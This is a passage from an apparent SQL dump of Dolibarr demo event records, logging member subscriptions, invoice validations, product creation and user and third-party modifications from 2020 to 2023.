added\nMember: Vick Smith\nType: 2\nAmount: 50\nPeriod: 07/18/2018 - 07/17/2019',2,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(594,'594',NULL,1,'2020-01-21 10:23:28','2020-01-21 10:23:28',40,'AC_BILL_VALIDATE','Invoice FA1807-0027 validated','2020-01-21 10:23:28','2021-04-15 10:22:55',12,NULL,NULL,12,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice FA1807-0027 validated',230,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(595,'595',NULL,1,'2020-01-21 10:23:28','2020-01-21 10:23:28',40,'AC_BILL_PAYED','Invoice FA1807-0027 changed to paid','2020-01-21 10:23:28','2021-04-15 10:22:55',12,NULL,NULL,12,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice FA1807-0027 changed to paid',230,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(596,'596',NULL,1,'2020-01-21 10:23:49','2020-01-21 10:23:49',40,'AC_MEMBER_SUBSCRIPTION_CREATE','Subscription 6 for member Vick Smith added','2020-01-21 10:23:49','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nSubscription 6 for member Vick Smith added\nMember: Vick Smith\nType: 2\nAmount: 50\nPeriod: 07/18/2019 - 07/17/2020',2,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(597,'597',NULL,1,'2020-01-21 10:23:49','2020-01-21 10:23:49',40,'AC_BILL_VALIDATE','Invoice FA1907-0028 validated','2020-01-21 10:23:49','2021-04-15 10:22:55',12,NULL,NULL,12,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice FA1907-0028 validated',231,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(598,'598',NULL,1,'2020-01-21 10:23:49','2020-01-21 10:23:49',40,'AC_BILL_PAYED','Invoice FA1907-0028 changed to paid','2020-01-21 10:23:49','2021-04-15 10:22:55',12,NULL,NULL,12,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice FA1907-0028 changed to paid',231,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(599,'599',NULL,1,'2020-01-21 10:30:27','2020-01-21 10:30:27',40,'AC_MEMBER_MODIFY','Member Pierre Curie modified','2020-01-21 10:30:27','2021-04-15 10:22:55',12,NULL,NULL,12,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMember Pierre Curie modified\nMember: Pierre Curie\nType: Standard members',2,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(600,'600',NULL,1,'2020-01-21 10:30:36','2020-01-21 10:30:36',40,'AC_MEMBER_MODIFY','Member doe john modified','2020-01-21 10:30:36','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMember doe john modified\nMember: doe john\nType: Standard members',3,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(601,'601',NULL,1,'2020-01-21 10:30:42','2020-01-21 10:30:42',40,'AC_MEMBER_MODIFY','Member smith smith modified','2020-01-21 10:30:42','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMember smith smith modified\nMember: smith smith\nType: Standard members',4,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(602,'602',NULL,1,'2020-01-21 10:30:57','2020-01-21 10:30:57',40,'AC_MEMBER_MODIFY','Member Vick Smith modified','2020-01-21 10:30:57','2021-04-15 10:22:55',12,NULL,NULL,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMember Vick Smith modified\nMember: Vick Smith\nType: Standard members',1,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(603,'603',NULL,1,'2020-06-12 10:00:00','2020-06-12 11:30:00',5,'AC_RDV','Meetings','2020-06-12 19:26:44','2021-04-15 10:22:55',12,NULL,3,NULL,NULL,0,12,1,NULL,0,0,-1,'Room 24',5400,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(604,'604',NULL,1,'2020-06-01 10:00:00','2020-06-01 10:27:00',1,'AC_TEL','Called Mr X','2020-06-12 19:28:13','2021-04-15 10:22:55',12,12,3,NULL,NULL,0,12,1,NULL,0,0,100,NULL,1620,NULL,'Customer ask another call.',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(605,'605',NULL,1,'2020-04-15 05:00:00','2020-04-15 06:00:00',5,'AC_RDV','Meet A2','2021-04-15 07:36:31','2021-04-15 10:36:31',12,NULL,NULL,NULL,NULL,0,12,1,NULL,0,0,0,'',3600,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(606,'606',NULL,1,'2021-04-15 08:38:02','2021-04-15 08:38:02',40,'AC_PRODUCT_CREATE','Product PRODSER created','2021-04-15 08:38:02','2021-04-15 11:38:02',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct PRODSER created',31,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(607,'607',NULL,1,'2022-02-07 13:54:11','2022-02-07 13:54:11',40,'AC_BOM_VALIDATE','BOM validated','2022-02-07 13:54:11','2022-02-07 13:54:11',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nBOM validated',7,'bom',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(608,'608',NULL,1,'2022-12-13 11:24:28','2022-12-13 11:24:28',40,'AC_USER_MODIFY','Record 12 modified','2022-12-13 11:24:28','2022-12-13 11:24:28',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record 12 modified',12,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(609,'609',NULL,1,'2022-12-13 11:24:38','2022-12-13 11:24:38',40,'AC_USER_MODIFY','Record 12 modified','2022-12-13 11:24:38','2022-12-13 11:24:38',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record 12 modified',12,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(610,'610',NULL,1,'2022-12-13 11:24:40','2022-12-13 11:24:40',40,'AC_USER_MODIFY','Record 12 modified','2022-12-13 11:24:40','2022-12-13 11:24:40',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record 12 modified',12,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(611,'611',NULL,1,'2022-12-13 11:24:47','2022-12-13 11:24:47',40,'AC_USER_MODIFY','Record 12 modified','2022-12-13 11:24:47','2022-12-13 11:24:47',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record 12 modified',12,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(612,'612',NULL,1,'2022-12-13 11:24:51','2022-12-13 11:24:51',40,'AC_USER_MODIFY','Record 12 modified','2022-12-13 11:24:51','2022-12-13 11:24:51',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record 12 modified',12,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(615,'615',NULL,1,'2022-12-13 11:28:20','2022-12-13 11:28:20',40,'AC_USER_CREATE','Record created','2022-12-13 11:28:20','2022-12-13 11:28:20',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record created',22,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(616,'616',NULL,1,'2022-12-13 11:28:20','2022-12-13 11:28:20',40,'AC_USER_NEW_PASSWORD','PASSWORDInDolibarr','2022-12-13 11:28:20','2022-12-13 11:28:20',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'PASSWORDInDolibarr',22,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(617,'617',NULL,1,'2022-12-13 11:49:51','2022-12-13 11:49:51',40,'AC_USER_MODIFY','Record 22 modified','2022-12-13 11:49:51','2022-12-13 11:49:51',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record 22 modified',22,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(618,'618',NULL,1,'2022-12-13 11:50:15','2022-12-13 11:50:15',40,'AC_USER_MODIFY','Record 22 modified','2022-12-13 11:50:15','2022-12-13 11:50:15',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record 22 modified',22,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(619,'619',NULL,1,'2022-12-13 11:50:17','2022-12-13 11:50:17',40,'AC_USER_MODIFY','Record 22 modified','2022-12-13 11:50:17','2022-12-13 11:50:17',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record 22 modified',22,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(620,'620',NULL,1,'2022-12-13 11:50:18','2022-12-13 11:50:18',40,'AC_USER_MODIFY','Record 22 modified','2022-12-13 11:50:18','2022-12-13 11:50:18',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record 22 modified',22,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(621,'621',NULL,1,'2022-12-13 11:50:19','2022-12-13 11:50:19',40,'AC_USER_MODIFY','Record 22 modified','2022-12-13 11:50:19','2022-12-13 11:50:19',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record 22 modified',22,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(622,'622',NULL,1,'2022-12-13 11:50:20','2022-12-13 11:50:20',40,'AC_USER_MODIFY','Record 22 modified','2022-12-13 11:50:20','2022-12-13 11:50:20',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record 22 modified',22,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(623,'623',NULL,1,'2022-12-13 11:50:20','2022-12-13 11:50:20',40,'AC_USER_MODIFY','Record 22 modified','2022-12-13 11:50:20','2022-12-13 11:50:20',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record 22 modified',22,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(624,'624',NULL,1,'2022-12-13 11:50:43','2022-12-13 11:50:43',40,'AC_USER_MODIFY','Record 22 modified','2022-12-13 11:50:43','2022-12-13 11:50:43',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record 22 modified',22,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(625,'625',NULL,1,'2022-12-13 11:50:44','2022-12-13 11:50:44',40,'AC_USER_MODIFY','Record 22 modified','2022-12-13 11:50:44','2022-12-13 11:50:44',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record 22 modified',22,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(626,'626',NULL,1,'2022-12-13 11:52:00','2022-12-13 11:52:00',40,'AC_USER_MODIFY','Record 22 modified','2022-12-13 11:52:00','2022-12-13 11:52:00',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record 22 modified',22,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(627,'627',NULL,1,'2022-12-13 11:54:05','2022-12-13 11:54:05',40,'AC_USER_MODIFY','Record 22 modified','2022-12-13 11:54:05','2022-12-13 11:54:05',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record 22 modified',22,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(628,'628',NULL,1,'2022-12-13 11:54:06','2022-12-13 11:54:06',40,'AC_USER_MODIFY','Record 22 modified','2022-12-13 11:54:06','2022-12-13 11:54:06',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record 22 modified',22,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(629,'629',NULL,1,'2022-12-13 11:54:32','2022-12-13 11:54:32',40,'AC_USER_MODIFY','Record 22 modified','2022-12-13 11:54:32','2022-12-13 11:54:32',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record 22 modified',22,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(630,'630',NULL,1,'2022-12-13 11:55:13','2022-12-13 11:55:13',40,'AC_USER_MODIFY','Record 22 modified','2022-12-13 11:55:13','2022-12-13 11:55:13',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record 22 modified',22,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(631,'631',NULL,1,'2022-12-13 13:29:38','2022-12-13 13:29:38',40,'AC_USER_MODIFY','Record 22 modified','2022-12-13 13:29:38','2022-12-13 13:29:38',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record 22 modified',22,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(632,'632',NULL,1,'2022-12-13 13:29:51','2022-12-13 13:29:51',40,'AC_USER_MODIFY','Record 22 modified','2022-12-13 13:29:51','2022-12-13 13:29:51',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record 22 modified',22,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(633,'633',NULL,1,'2022-12-13 13:30:42','2022-12-13 13:30:42',40,'AC_USER_MODIFY','Record 22 modified','2022-12-13 13:30:42','2022-12-13 13:30:42',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record 22 modified',22,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(634,'634',NULL,1,'2022-12-13 13:31:39','2022-12-13 13:31:39',40,'AC_USER_MODIFY','Record 22 modified','2022-12-13 13:31:39','2022-12-13 13:31:39',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record 22 modified',22,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(635,'635',NULL,1,'2022-12-13 13:31:48','2022-12-13 13:31:48',40,'AC_USER_MODIFY','Record 22 modified','2022-12-13 13:31:48','2022-12-13 13:31:48',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record 22 modified',22,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(636,'636',NULL,1,'2022-12-13 13:31:49','2022-12-13 13:31:49',40,'AC_USER_MODIFY','Record 22 modified','2022-12-13 13:31:49','2022-12-13 13:31:49',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record 22 modified',22,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(637,'637',NULL,1,'2022-12-13 17:59:06','2022-12-13 17:59:06',40,'AC_USER_MODIFY','Record 22 modified','2022-12-13 17:59:06','2022-12-13 17:59:06',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record 22 modified',22,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(638,'638',NULL,1,'2022-12-13 17:59:08','2022-12-13 17:59:08',40,'AC_USER_MODIFY','Record 22 modified','2022-12-13 17:59:08','2022-12-13 17:59:08',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record 22 modified',22,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(639,'639',NULL,1,'2022-12-13 17:59:14','2022-12-13 17:59:14',40,'AC_USER_MODIFY','Record 22 modified','2022-12-13 17:59:14','2022-12-13 17:59:14',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record 22 modified',22,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(640,'640',NULL,1,'2022-12-13 17:59:15','2022-12-13 17:59:15',40,'AC_USER_MODIFY','Record 22 modified','2022-12-13 17:59:15','2022-12-13 17:59:15',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record 22 modified',22,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(641,'641',NULL,1,'2022-12-13 17:59:33','2022-12-13 17:59:33',40,'AC_USER_MODIFY','Record 22 modified','2022-12-13 17:59:33','2022-12-13 17:59:33',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record 22 modified',22,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(642,'642',NULL,1,'2022-12-16 10:00:14','2022-12-16 10:00:14',40,'AC_PRODUCT_MODIFY','Product DOLIDROID modified','2022-12-16 10:00:14','2022-12-16 10:00:14',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Product DOLIDROID modified',5,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(643,'643',NULL,1,'2022-12-16 11:20:27','2022-12-16 11:20:27',40,'AC_COMPANY_MODIFY','Third party Prospector Vaalen modified','2022-12-16 11:20:27','2022-12-16 11:20:27',12,NULL,NULL,4,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Third party Prospector Vaalen modified',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(644,'644',NULL,1,'2022-12-16 11:20:53','2022-12-16 11:20:53',40,'AC_COMPANY_MODIFY','Third party Italo modified','2022-12-16 11:20:53','2022-12-16 11:20:53',12,NULL,NULL,30,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Third party Italo modified',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(645,'645',NULL,1,'2022-12-16 11:20:59','2022-12-16 11:20:59',40,'AC_COMPANY_MODIFY','Third party Italo modified','2022-12-16 11:20:59','2022-12-16 11:20:59',12,NULL,NULL,30,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Third party Italo modified',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(646,'646',NULL,1,'2022-12-26 12:12:11','2022-12-26 12:12:11',40,'AC_COMPANY_CREATE','Third party aaa created','2022-12-26 12:12:11','2022-12-26 12:12:11',12,NULL,NULL,31,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Third party aaa created',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(647,'647',NULL,1,'2022-12-26 12:12:43','2022-12-26 12:12:43',40,'AC_COMPANY_CREATE','Third party aaa created','2022-12-26 12:12:43','2022-12-26 12:12:43',12,NULL,NULL,32,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Third party aaa created',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(648,'648',NULL,1,'2022-12-26 12:14:10','2022-12-26 12:14:10',40,'AC_COMPANY_CREATE','Third party aaa created','2022-12-26 12:14:10','2022-12-26 12:14:10',12,NULL,NULL,33,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Third party aaa created',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(649,'649',NULL,1,'2022-12-26 12:15:09','2022-12-26 12:15:09',40,'AC_COMPANY_CREATE','Third party aaa created','2022-12-26 12:15:09','2022-12-26 12:15:09',12,NULL,NULL,34,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Third party aaa created',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(650,'650',NULL,1,'2022-12-26 12:18:03','2022-12-26 12:18:03',40,'AC_COMPANY_CREATE','Third party bbb created','2022-12-26 12:18:03','2022-12-26 12:18:03',12,NULL,NULL,35,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Third party bbb created',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(651,'651',NULL,1,'2022-12-26 12:21:55','2022-12-26 12:21:55',40,'AC_COMPANY_CREATE','Third party bbb created','2022-12-26 12:21:55','2022-12-26 12:21:55',12,NULL,NULL,36,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Third party bbb created',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(652,'652',NULL,1,'2022-12-28 00:21:00','2022-12-28 00:21:00',40,'AC_COMPANY_MODIFY','Third party bbb modified','2022-12-28 00:21:00','2022-12-28 00:21:00',12,NULL,NULL,35,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Third party bbb modified',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(653,'653',NULL,1,'2022-12-28 00:56:01','2022-12-28 00:56:01',40,'AC_COMPANY_MODIFY','Third party Italo modified','2022-12-28 00:56:01','2022-12-28 00:56:01',12,NULL,NULL,30,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Third party Italo modified',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(654,'654',NULL,1,'2022-12-28 00:56:09','2022-12-28 00:56:09',40,'AC_COMPANY_MODIFY','Third party Italo modified','2022-12-28 00:56:09','2022-12-28 00:56:09',12,NULL,NULL,30,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Third party Italo modified',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(655,'655',NULL,1,'2022-12-29 18:08:12','2022-12-29 18:08:12',40,'AC_BILL_SUPPLIER_UNVALIDATE','Invoice SI2001-0006 go back to draft status','2022-12-29 18:08:12','2022-12-29 18:08:12',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Invoice SI2001-0006 go back to draft status',22,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(656,'656',NULL,1,'2022-12-29 18:08:29','2022-12-29 18:08:29',40,'AC_BILL_SUPPLIER_VALIDATE','Invoice SI2001-0006 validated','2022-12-29 18:08:29','2022-12-29 18:08:29',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Invoice SI2001-0006 validated',22,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(657,'657',NULL,1,'2022-12-29 18:08:42','2022-12-29 18:08:42',40,'AC_BILL_SUPPLIER_UNVALIDATE','Invoice SI2001-0006 go back to draft status','2022-12-29 18:08:42','2022-12-29 18:08:42',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Invoice SI2001-0006 go back to draft status',22,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(658,'658',NULL,1,'2022-12-30 10:44:06','2022-12-30 10:44:06',40,'AC_PRODUCT_CREATE','Product aaa created','2022-12-30 10:44:06','2022-12-30 13:44:06',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Product aaa created',32,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(659,'659',NULL,1,'2023-01-02 15:49:54','2023-01-02 15:49:54',40,'AC_COMPANY_MODIFY','Third party aaa modified','2023-01-02 15:49:54','2023-01-02 18:49:54',12,NULL,NULL,31,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Third party aaa modified',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(710,'710',NULL,1,'2023-01-03 11:07:52','2023-01-03 11:07:52',40,'AC_PRODUCT_CREATE','Product aaa_XL_BLUE created','2023-01-03 11:07:52','2023-01-03 14:07:52',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Product aaa_XL_BLUE created',33,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(711,'711',NULL,1,'2023-01-03 